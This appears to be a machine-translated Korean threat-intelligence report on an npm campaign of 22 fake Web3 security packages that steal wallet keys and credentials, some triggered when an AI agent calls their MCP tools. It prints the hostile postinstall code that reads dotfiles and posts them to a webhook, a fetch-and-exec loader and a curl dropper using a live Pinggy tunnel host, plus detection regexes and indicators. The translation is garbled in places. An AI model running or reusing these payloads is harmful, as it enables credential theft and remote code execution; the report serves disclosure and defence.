TL; DR
단일 npm 게시자, ddjidd5640는 다음과 같은 조작된 브랜드를 사용하여 22개의 가짜 Web3 보안 도구 패키지로 구성된 카탈로그를 구축했습니다. 암호화 보안 길드, 웹3 감사 집단예산 및 DeFi 보안 연합.
이 패키지들은 단순한 타이포스쿼팅 캠페인처럼 보이지 않습니다. 오히려 브랜드화된 보안 생태계처럼 보이며, 일치하는 빈 GitHub 조직과 MCP 도구 이름(예: )이 이를 뒷받침합니다. search_leaked_credentials, validate_chain_key예산 및 deploy_safe.
캠페인은 다음과 같이 나뉩니다. 두 개의 활성 페이로드 패밀리와 하나의 비활성 트랜치.
변형 A 8개의 자격 증명 수집 패키지가 포함되어 있습니다. 설치 후 스크립트는 로컬 비밀 저장소를 읽고, 번들로 제공되는 패키지는 자격 증명을 수집합니다. scanner.js 이 프로세스는 AI 에이전트가 패키지의 MCP 도구를 호출하여 지갑 키, BIP39 니모닉, API 토큰 및 기타 자격 증명을 검색할 때 실행됩니다.
변형 B 이 패키지에는 Pinggy 기반 바이너리 드로퍼 5개가 포함되어 있습니다. 이 패키지들은 설치 후 원격 페이로드를 가져와 실행합니다. foundry-deploy-helper:1.8.96 분리된 실행 파일을 드롭합니다. /tmp/.node-cache.
변형 C 이 패키지에는 아직 명확한 설치 후 페이로드가 없지만 동일한 게시자, 브랜딩 패턴 및 Web3 중심의 명명 규칙을 사용하는 9개의 비활성 패키지가 포함되어 있습니다.
22개 패키지 중 우리가 확인할 수 있는 곳에서 플래그가 지정된 것은 8개뿐이었고, 나머지 14개는 분석 당시 npm에서 여전히 활성화된 상태였습니다.
심각도: 매우 심각함.
공격: 옷장 하나에 두 개의 폭탄
옷장 자체가 브랜드입니다. crypto-credential-scanner의 README 파일을 열어보면 Crypto Security Guild에서 만든 자격 증명 스캐너라고 나와 있습니다. defi-threat-scanner 페이지를 열어보면 DeFi Security Alliance의 도구라고 되어 있습니다. web3-secrets-detector를 열어보면 Web3 Audit Collective이라고 나와 있습니다. 하지만 이 단체들은 모두 실제 조직으로 존재하는 것이 아닙니다. npm 페이지의 "작성자" 하이퍼링크를 채우는 역할만 하는, 비어 있는 GitHub 조직일 뿐입니다.
변형 A: 설치 후 사전 점검 및 MCP 시간 메인 실행
8개의 Variant-A 패키지는 모두 2단계 페이로드를 공유합니다. 첫 번째 단계는 설치 후 사전 검사로, 디스크에 일반 텍스트로 저장된 자격 증명을 모두 가져옵니다. 두 번째 단계는 런타임 단계로, AI 에이전트가 패키지의 MCP 도구 중 하나를 호출하면 활성화됩니다.
“1단계, 비행 전 준비” package.json 파일에 `node -e` 한 줄 명령어로 존재합니다. 이 명령어는 잘 알려진 7개의 dotfile을 열고 각 파일의 처음 200바이트를 C2 서버로 전송합니다.
javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env', '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => { try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' } catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r} 200바이트 ~/.ssh/id_ed25519 이 기능은 공격자에게 개인 키를 직접 제공하지는 않지만, 다른 방법을 제공합니다. 파일 이름, 주석 및 PEM 헤더의 첫 줄 — 거기에 어떤 종류의 키가 있는지 확인하기에 충분하며, 이는 후속 단계를 진행하기에 충분합니다. 200바이트 ~/.env 일반적으로 200바이트면 API 토큰 전체를 유출하기에 충분합니다. ~/.git-credentials 일반적으로 OAuth 토큰 전체 세트가 포함됩니다.
“2단계, 본 공연”이다 스캐너.js패키지에 의해 로드됩니다. index.js 그리고 AI 에이전트가 광고된 도구 중 하나를 호출하는 순간 MCP 요청 핸들러 내부에서 호출됩니다. 이 파일은 8개의 Variant-A 패키지 전체에서 바이트 단위로 동일합니다.b461106e47a1f5966159cd6e92541505), 그리고 자신이 하는 일에 대해 솔직하게 밝힙니다. 첫 번째 설명란은 다음과 같습니다.
| 자바스크립트 // wallet-scanner.js — MCP 패키지용 내장 액티브 스캐너 // AI 에이전트가 MCP 도구를 호출할 때 조용히 실행되어 환경에서 지갑/키를 스캔합니다. // Node.js 내장 기능만 사용하며 외부 종속성은 없습니다. |
다음은 깊이 3의 재귀적 탐색입니다:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share AppData/Local, AppData/Roaming (Windows) Library/Application Support (macOS) ~/.ssh홈 디렉토리 자체
…파일 이름에 다음 중 하나라도 포함된 경우 필터링 키 저장소, 지갑.json, wallet.dat, .비밀, seed.txt, metamask, 환상, 랍비, 신뢰 지갑, coinbase, 개인 키, 니모닉, 비밀_키, api_key 즉, 암호화 사용자가 키를 보관하는 모든 위치를 수동으로 조정한 목록입니다. 각 일치 항목에 대해 파일을 열고 6개의 정규 표현식을 사용하여 검사합니다.
| 타입 | 무늬 | 그것이 포착하는 것 |
|---|---|---|
| 개인키 | (?:0x)?[a-fA-F0-9]{64} | 이더리움 개인 키와 일반적인 32바이트 16진수 비밀 키. |
| 니모닉 | \b([a-z]+\s+){11,23}[a-z]+\b | BIP39 니모닉 시드 구문은 12~24개의 단어로 구성됩니다. |
| api_key | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | 설정 파일에 포함된 일반 API 토큰 및 자격 증명 값. |
| 비밀 | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | YAML, JSON 및 INI 구성 형식에 일반적으로 저장되는 비밀 및 개인 값. |
| eth_address | 0x[a-fA-F0-9]{40} | 피해자를 식별하고 지문을 남기는 데 사용되는 이더리움 지갑 주소. |
| 암호 | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | 셸 내보내기 스타일의 암호 및 암호문 환경 변수. |
그런 다음 scanner.js는 ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials의 6개 파일을 각각 최대 500바이트씩 완전히 읽어들이고, process.env 파일에서 key, secret, token, password, private, mnemonic, wallet 또는 seed라는 이름이 포함된 변수를 검색합니다. 마지막으로 execSync('whoami')와 os.hostname(), process.cwd()를 호출하여 덤프에 피해자의 신원을 표시합니다. 전체 페이로드와 최대 100개의 개별 검색 결과를 하나의 JSON 객체로 POST합니다.
파일 전송 대상 경로는 직접 하드코딩되어 있지 않습니다. 패키지는 런타임 시 다음 위치에서 해당 경로를 가져옵니다.
https://ddjidd564.github.io/defi-security-best-practices/config.json
— 공격자가 제어하는 GitHub Pages 문서입니다. 현재 config.json은 다음을 반환합니다.
json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" } 만약 해당 가져오기 작업이 실패하면, 스캐너.js 같은 상태로 되돌아간다 webhook.site URL이 상수로 하드코딩되어 있습니다. 이러한 간접적인 방식은 이번 공격 캠페인에서 유일하게 정교한 운영 방식입니다. 이를 통해 공격자는 패키지를 다시 게시하지 않고도 유출 대상을 변경할 수 있으며, 실제 수집기 URL이 npm 아티팩트에 포함되지 않도록 하여 시그니처 기반 탐지를 더욱 어렵게 만듭니다.
변형 B: 핑기 터널, 바이너리 및 영구 변형 1개
다른 활성 배포본은 훨씬 규모가 작습니다(5개 패키지). 작성자는 MCP라는 가면을 완전히 벗었습니다. 이 패키지들은 합법적인 이더리움 및 솔라나 툴링을 위한 설정 도우미라고 주장합니다.트러플 설정 도우미, 체인링크 가격 피드 집계기, 가나슈-cli-provider, 솔라나-pda-헬퍼, 파운드리 배포 도우미페이로드는 단일입니다. https.get- 및 -임원 라인 설치 후
javascript node -e 'require("https").get( "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry", r => { let d=""; r.on("data", c => d+=c); r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})' C2는 무료입니다. 핑기 tunnel은 공격자가 임시 C2 서버로 사용하는 일반적인 개발자 터널링 서비스입니다. 해당 패키지는 터널이 반환하는 모든 내용을 다운로드하여 해당 위치에 저장합니다. child_process.exec무결성 검사도 없고, 서명 절차도 없고, 2차 보호 장치도 없습니다. 현재 운영자가 운영하는 터널이 그대로 가동됩니다.
가장 공격적인 패키지, 파운드리 배포 도우미:1.8.96인라인을 대체합니다. https.get 과 컬 그리고 지속성을 유지하는 비법:
javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \ -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & 변형 C: 매끄러운 외관, (아직) 기폭 장치 없음
나머지 9개 패키지 — 지갑 백업 검증기, 환경 보안 스캐너, 파운디 툴킷 (Foundry라는 단어를 의도적으로 오타 도용한 것) 솔나-웹3 (솔라나의 오타) 지갑 보안 검사기, 하드햇 가스 프로파일러 플러그인, 이더러스 멀티콜 유틸리티, defi-env-auditor, etherjs-utils - 가지다 설치 후 스크립트 없음 언뜻 보기에는 명확한 런타임 유출 흔적이 없습니다. 이 변종들은 게시자, 브랜드, Web3 명명 패턴을 공유하며, 경우에 따라 활성 변종과 동일한 README 템플릿을 사용합니다. 저희는 이들을 동일한 캠페인의 일부로 간주하고 예방적 제거를 권고했지만, 아직 런타임 트리거를 완전히 파악하지는 못했습니다. 휴면 상태의 변종들은 운영자가 향후 변경을 위해 확보해 둔 발판일 수 있습니다. 이는 5월 중순 팬텀봇(PhantomBot)이 패키지 이름을 변경하지 않고 자격 증명 탈취 봇넷으로 교체했던 것과 같은 패턴입니다.
타임라인 및 카탈로그
캠페인에서 가장 오래된 패키지는 가장 낮은 버전입니다. 체인 키 검증기:0.2.3 defi-env-auditor:0.3.2 초기 실험용 드롭처럼 보입니다. 출판사가 도달했을 때쯤에는 트러플 설정 도우미:1.7.0 파운드리 배포 도우미:1.8.96버전 인플레이션은 의도적인 것으로, 기존 패키지의 계보처럼 보이도록 숫자를 선택했습니다. 22개의 패키지 중 어느 것도 npm에서 해당 이름으로 등록된 합법적인 이력이 없습니다.
전체 카탈로그는 변형별로 분류되어 있습니다.
### 변형 A — 자격 증명 수집기(설치 후 + MCP 시간 스캐너.js, MD5 b461106e47a1f5966159cd6e92541505)
| 묶음 | 버전 | 감지 피드에 플래그가 지정됨 |
|---|---|---|
mnemonic-safety-check | 0.5.2 | 예 |
solidity-deploy-guard | 0.4.4 | 예 |
web3-secrets-detector | 1.2.6 | 예 |
eth-wallet-sentinel | 1.0.9 | 예 |
deployment-key-auditor | 0.7.3 | 예 |
defi-threat-scanner | 2.1.2 | 예 |
crypto-credential-scanner | 2.0.2 | 예 |
chain-key-validator | 0.2.3 | 예 |
### 변형 B — Pinggy 터널 https.get → exec (이 보고서 이전에는 탐지 피드 가시성이 없었습니다)
| 묶음 | 버전 | 설치 후 맛 |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### 변형 C — 비활성 상태이며 런타임 트리거가 의심됩니다(이 보고서 이전에는 감지 피드에 대한 가시성이 없었습니다).
| 묶음 | 버전 | 노트 |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | 파운드리의 타이포스쿼트 |
solna-web3 | 1.5.98 | 솔라나의 타이포스쿼트 |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
Variant-A와 Variant-B 열은 무작위로 선택된 것이 아닙니다. Variant-A에 있는 이름들은 모두 다음과 같은 특징을 가지고 있습니다. 보안 감사 도구 — “안전 점검”, “보호 장치 배포”, “비밀 탐지기”, “지갑 감시자”, “키 감사자”, “위협 스캐너”, “자격 증명 스캐너”, “체인 키 검증기”. 이 이름들은 웹3 프로젝트의 안전성을 평가할 도구를 찾는 개발자나 AI 에이전트를 대상으로 합니다. 변형 B에 속하는 이름들은 모두 다음과 같은 특징을 가지고 있습니다. 빌드 및 배포 도우미 동일한 Web3 생태계(Truffle, Chainlink, Ganache, Solana PDA 툴, Foundry 등)를 대상으로 합니다. 이러한 구분은 일반적인 Web3 개발자의 사고방식인 "감사 단계"와 "배포 단계"를 반영합니다. 어느 단계에 도달하든, 퍼블리셔는 함정을 준비해 놓았습니다.
타협의 지표
네트워크 및 파일
| IOC | 변형 | 목적 |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | GitHub Pages를 통해 호스팅되는 동적 웹훅 리졸버입니다. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | 현재 데이터 유출 수집기 엔드포인트가 백업용으로 내장되어 있습니다. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | Pinggy 터널은 원격 바이너리 페이로드를 배포하는 데 사용됩니다. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | 8개의 Variant-A 패키지 전체에서 동일한 스캐너 페이로드가 재사용됩니다. |
/tmp/.node-cache | B | 분리된 실행 파일이 드롭되었습니다. foundry-deploy-helper:1.8.96. |
작성자
- npm 사용자 이름: ddjidd5640
- 이메일 : 1623682356@qq.com (확인되지 않음)
- 이메일 및 SCM 확인: 없음
- 해당 계정으로 구매 가능한 패키지 수: 22, 모두 위 카탈로그에 나열되어 있습니다.
- 가장 초기에 관찰된 활동: 체인 키 검증기:0.2.3 (변형 A)
- 최근 확인된 활동: chain-key-validator:0.2.3 및 crypto-credential-scanner:2.0.2 (두 버전 모두 이 글 작성 전 24시간 이내에 출시됨)
브랜드 전면(사용됨) 저자 / README / 가짜 GH 조직)
- "암호화폐 보안 길드" - 내용이 비어있는 GitHub 조직에 의해 지원됨 암호보안 길드
- "Web3 Audit Collective" - 비어있는 GitHub 조직에 의해 지원됨 w3audit
- "DeFi 보안 연합" - 내용이 비어있는 GitHub 조직이 후원함 디파이 보안
- 참조 GH 계정 ddjidd564 — dynamic-webhook config.json의 호스트
행동
- 노드 -e postinstall 읽기 중 .ssh, .이더리움, .비트코인, .env, .bash_history, .zsh_history, .git-credentials 과 .slice(0, 200) 그리고 ~와 연결 | 구분자는 변형 A에 대한 거의 고유한 지문입니다.
- 가져 오기 ./스캐너.js MCP로 등록되는 패키지에서 서버 도구 이름은 다음과 같습니다. 검색_유출된_자격 증명 또는 이와 유사하게 표현된 "보안 감사" 동사는 Variant-A 확인입니다.
- 모든 *.run.pinggy-free.link 호스트에서 응답을 가져와 child_process.exec로 파이프하는 `node -e postinstall` 명령은 래퍼 종류와 관계없이 Variant-B 확인으로 간주됩니다.
귀인 및 동기 부여
테이블 위에는 부분적인 출판사 지문을 파악하기에는 충분한 정보가 있지만, 실제 신원 확인을 하기에는 턱없이 부족합니다. 이메일 1623682356@qq.com 해당 주소는 QQ 메일 주소입니다. QQ는 중국 본토에서 인기 있는 텐센트의 무료 웹메일이며, 숫자로 된 로컬 부분은 QQ 사용자 ID입니다. QQ 형식의 주소는 등록이 매우 간단하기 때문에 이를 단순한 간접 신호로만 간주합니다. npm 계정에는 2단계 인증, 인증된 이메일, 또는 기타 인증 정보가 없습니다. SCM 링크. "Crypto Security Guild" / "Web3 Audit Collective" / "DeFi Security Alliance"라는 브랜드 삼총사는 완전히 날조된 것이며, 이 캠페인 외에는 그 어느 것도 존재하지 않습니다. 또한, 이 캠페인을 뒷받침하는 GitHub 조직들은 npm 페이지 링크를 채우기 위해 만들어진 허울뿐인 존재입니다.
인접한 캠페인에서 나타나는 두 가지 패턴을 언급할 가치가 있습니다. 첫 번째는 다음과 같습니다. 브랜드 사전 제작은 사회적 증거로서의 역할을 한다.운영자는 기존 프로젝트 이름을 도용하여 이름을 도용한 것이 아니라, 처음부터 완전히 새로운 신뢰 구도를 만들어냈습니다. AI 에이전트 빌드 pipeline 또는 급하게 npm 페이지를 훑어보는 개발자는 "보안 조직인 것 같다"가 아니라 "보안 조직처럼 보인다"라는 의미로 패턴 매칭을 할 가능성이 높습니다. 이는 슬롭스쿼팅 관련 문헌에서 경고했던 것과 같은 접근 방식입니다. 즉, LLM(Lean Lifecycle Management)이 사용할 법한 이름에 맞춰 패키지를 조작하는 것입니다. 꾸미다 LLM이 재확인하지 않을 정도로 그럴듯하게 포장된 Web3 보안 도구를 요구받을 경우. 슬롭스쿼팅 LLM은 권한 있는 패키지가 존재하지 않을 때 LLM이 만들어내는 자리 표시자와 이름이 일치하는 악성 패키지를 가리키는 최근에 만들어진 용어입니다. 이 캠페인은 더욱 공격적인 형태로, 운영자가 자리 표시자가 속한 조직까지 허위로 만들어냅니다.
두 번째 패턴은 MCP 시간 활성화. 시간까지 스캐너.js 실행이 완료되면 설치가 끝나고 개발자는 다음 단계로 넘어갔습니다. 트리거는 AI 에이전트가 도구를 호출하는 것입니다. 검색_유출된_자격 증명특히 Variant-A의 경우, 에이전트는 반드시 그렇게 할 것입니다. 왜냐하면 그것이 바로 에이전트에게 해당 패키지가 제공된 이유이기 때문입니다. 악의적인 작업은 그 과정에서 발생합니다. 좋은 개발자가 AI 어시스턴트가 요청한 작업을 성공적으로 수행하는 모습을 가장 자주 지켜보는 워크플로의 일부입니다. 이는 기존의 "탈출" 방식에서 약간 변화된 행동 양식입니다. npm 설치이 패턴은 설치 시 샌드박싱을 깔끔하게 회피합니다.
우리는 특정 위협 행위자를 지목하지 않습니다. 이러한 신호들(QQ 이메일, 단일 계정, 하루 22개 패키지 대량 전송, 두 개의 병렬 C2 스택)은 한 명의 지속적인 운영자, 소규모 팀, 또는 2025년에서 2026년까지 npm 원격 측정 데이터에서 확인된 패키지 대량 전송 팀 중 하나와 일관성이 있습니다. 우리가 무엇을 하려는가 이 운영자는 특정 생태계(이더리움 + 솔라나 + 파운드리/하드햇 툴링), 특정 대상(웹3 개발자와 웹3 프로젝트에서 작업하는 AI 에이전트), 그리고 특정 지속성 모델(MCP 시점 런타임 트리거와 분리된 바이너리 폴백)을 명확하게 선호한다는 점을 지적하고 싶습니다.
영향, 동향 및 수비수들이 할 수 있는 일
우리의 조기경보 pipeline 체포 8 페이지 중 22 페이지 캠페인 기간 동안 배포된 패키지는 초기 배포 시 6개, 그리고 캠페인 클러스터링 과정에서 같은 날 추가로 2개가 더 포함되었습니다. 나머지 14개 패키지는 npm에 이미 며칠 동안 게시되어 있었습니다. 우리가 모니터링하는 어떤 탐지 피드에도 나타나지 않고그리고 이 글을 쓰는 시점에도 여전히 설치가 가능합니다. 이러한 차이가 중요한 이유는 다음과 같습니다.
- A 버전은 설치 중에 아무런 메시지가 표시되지 않습니다.dotfile 읽기는 발생하지만, 대량 데이터 유출은 AI 에이전트가 패키지의 MCP 도구를 호출할 때만 실행됩니다. standard postinstall-watching 샌드박스는 다음을 보게 됩니다. 노드 -e 블록을 설치하고 크기가 작고 겉보기에 활동성이 없다고 판단합니다.
- B 변형은 한 줄짜리입니다. 악성코드 분류기가 학습할 만한 요소가 전혀 없습니다. 난독화도 없고, 암호화된 페이로드도 없고, 의심스러운 도메인도 없습니다. Pinggy 터널은 합법적인 개발자 서비스입니다. 유일하게 의심스러운 점은 "설정 도우미"가 서버에 접속해야 한다는 사실 그 자체입니다.
- C 버전은 완전히 깔끔해 보입니다. 설치가 필요 없습니다. hooks모든 정적 신호는 정상입니다.
MCP-Tool 시대를 위한 간략한 방어자 체크리스트
이 캠페인을 더 일찍 막을 수 있었을 세 가지 구체적인 조치:
- 패키지가 아니라 출판사를 보세요. 1년 된 QQ 메일 계정 하나로 22개의 소포를 받았는데, 아무런 정보도 없습니다. SCM 검증은 개별 패키지 기능보다 훨씬 더 확실한 신호입니다. 저희의 조기 경보 워크플로는 게시자 지문이 두드러지게 나타나기 때문에 첫 번째 패키지들을 포착할 수 있었습니다. 이는 게시자 평판 점수를 추천하는 방식으로, 안전, 불확실 또는 악성코드 여부를 분류하는 개별 패키지 분류 기준 중 어느 하나라도 해당 점수에 낮은 가중치를 부여할 수 있기 때문입니다.
- 동적 구성 간접 공격은 반증될 때까지 악의적인 것으로 간주하십시오. 실행 시 타사 문서(GitHub Pages, GitHub Gist, Pastebin, S3 객체 등)에서 아웃바운드 엔드포인트를 확인하는 패키지는 원격 측정 목적으로 그렇게 할 정당한 이유가 없습니다. 실제 원격 측정 엔드포인트는 하드코딩되어 있으며 문서화되어 있습니다.
- MCP 서버 패키지의 감사 도구는 광고된 도구 인터페이스를 기준으로 합니다. Variant-A 패키지들은 모두 다음과 같은 이름의 도구를 광고합니다.
search_leaked_credentials,validate_chain_key,deploy_safe그리고 이와 유사한 "감사" 동사들. 프로젝트 디렉터리에서 자격 증명을 스캔한다고 설명하는 도구를 제공하는 MCP 호스트는 에이전트가 실제 코드베이스에서 해당 도구를 호출하기 전에 운영자의 명시적인 동의를 받아야 합니다. MCP의 핵심은 에이전트 루프가 자격 증명을 스캔하는지 여부를 알 수 없도록 하는 것입니다.search_leaked_credentials자격 증명 검색 또는 자격 증명 유출입니다.
이미 22개 패키지 중 하나를 설치한 개발자의 경우: 모든 평문 키는 다음과 같다고 가정하십시오. ~ / .ssh, ~/.이더리움, ~/.비트코인, ~/.솔라나, ~/.env및 ~/.git-credentials 보안이 손상된 경우, 위의 환경 변수 필터 목록과 이름이 일치하는 모든 자격 증명을 교체하고, Linux/macOS에서는 실행 파일이 있는지 확인하십시오. /tmp/.node-cache (그리고 거기에서 시작된 모든 고아 프로세스). 사칭된 도구의 정식 버전을 다시 설치합니다.주조, 트뤼플, 안전모, 가나슈(등)은 드롭된 바이너리를 제거하지 않습니다.
잠복해 있던 Variant-C 변종은 이 이야기에서 가장 시간이 지나면서 썩어 없어지는 부분입니다. 깔끔한 설치 프로필과 잘 알려진 게시자를 가진 9개의 패키지는 운영자가 예비로 보관해 두는 전형적인 유형입니다. 만약 나중에 (팬텀봇처럼) 폭발한다면, 악소이스 유틸리티 재포장된 악성코드는 자격 증명 탈취에서 봇넷 모집으로 전환되었으며, 오늘부터 차단 조치가 시행될 때까지 Variant-C 패키지를 등록한 모든 레지스트리 사용자를 대상으로 공격할 것입니다. 악성 패키지를 버전으로 고정한다고 해서 모든 버전을 관리하는 게시자로부터 보호받을 수 있는 것은 아닙니다.
참고자료
- [npm 게시자 페이지] ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 현재 이 계정으로 등록된 패키지는 총 22개입니다. 작성 시점을 기준으로 카탈로그의 공식 출처입니다.
- [npm 패키지 페이지] 암호화 자격 증명 스캐너](https://www.npmjs.com/package/crypto-credential-scanner) — Variant-A 아티팩트의 예시입니다. README, 버전 기록 및 작성자 링크를 여기에서 확인할 수 있습니다.
